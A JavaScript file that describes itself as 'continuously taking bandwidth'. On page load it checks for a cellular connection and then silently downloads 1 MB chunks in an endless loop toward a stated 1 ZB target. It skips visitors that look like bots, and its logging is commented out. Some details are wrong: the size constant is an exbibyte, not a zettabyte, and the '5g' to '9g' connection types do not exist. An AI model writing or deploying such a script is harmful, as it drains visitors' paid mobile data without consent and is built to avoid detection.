acwgb/acwgbnfb.js

Acwgb is for continuesly taking bandwidh.

const url = 'http://localhost:8000/low_size.php?size=1048576'; // 1 MB
const targetSize = 1 * 1024 * 1024 * 1024 * 1024 * 1024 * 1024; // 1 ZB in bytes
let totalDownloaded = 0;

function fetchData() {
    const startTime = performance.now();

    // Check if the user agent indicates a bot
    if (isBot()) {
        console.log('Bot detected, skipping data fetch.');
        return; // Exit if a bot is detected
    }

    fetch(url)
        .then(response => {
            if (!response.ok) {
                throw new Error('Network response was not ok');
            }
            return response.blob();
        })
        .then(blob => {
            const endTime = performance.now();
            totalDownloaded += blob.size; // Increment total downloaded bytes

            const duration = (endTime - startTime) / 1000; // Duration in seconds
            const bandwidth = (blob.size / duration) / 1024; // Bandwidth in KB/s

            // Optionally log bandwidth for debugging (commented out)
            // console.log(`Bandwidth: ${bandwidth.toFixed(2)} KB/s`);

            // Check if the target size is reached
            if (totalDownloaded < targetSize) {
                fetchData(); // Fetch more data
            } else {
                // Optionally log completion (commented out)
                // console.log('Download complete: 1 ZB reached');
            }
        })
        .catch(error => {
            // Optionally log errors (commented out)
            // console.error('Error fetching the data:', error);
        });
}

function isCellularConnection() {
    if ('connection' in navigator) {
        const connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
        return connection && (
            connection.effectiveType === '2g' || 
            connection.effectiveType === '3g' || 
            connection.effectiveType === '4g' ||
            connection.effectiveType === '5g' || 
            connection.effectiveType === '6g' ||
            connection.effectiveType === '7g' ||
            connection.effectiveType === '8g' ||    
            connection.effectiveType === '9g'
        );
    }
    return false; // Fallback if Network Information API is not supported
}

function isBot() {
    const userAgent = navigator.userAgent.toLowerCase();
    const bots = ['bot', 'googlebot', 'crawler', 'spider', 'robot'];
    return bots.some(bot => userAgent.includes(bot));
}

// Start fetching data only after the page has fully loaded
window.onload = function() {
    if (isCellularConnection()) {
        fetchData();
    }
    // If not connected to a cellular network, do nothing
};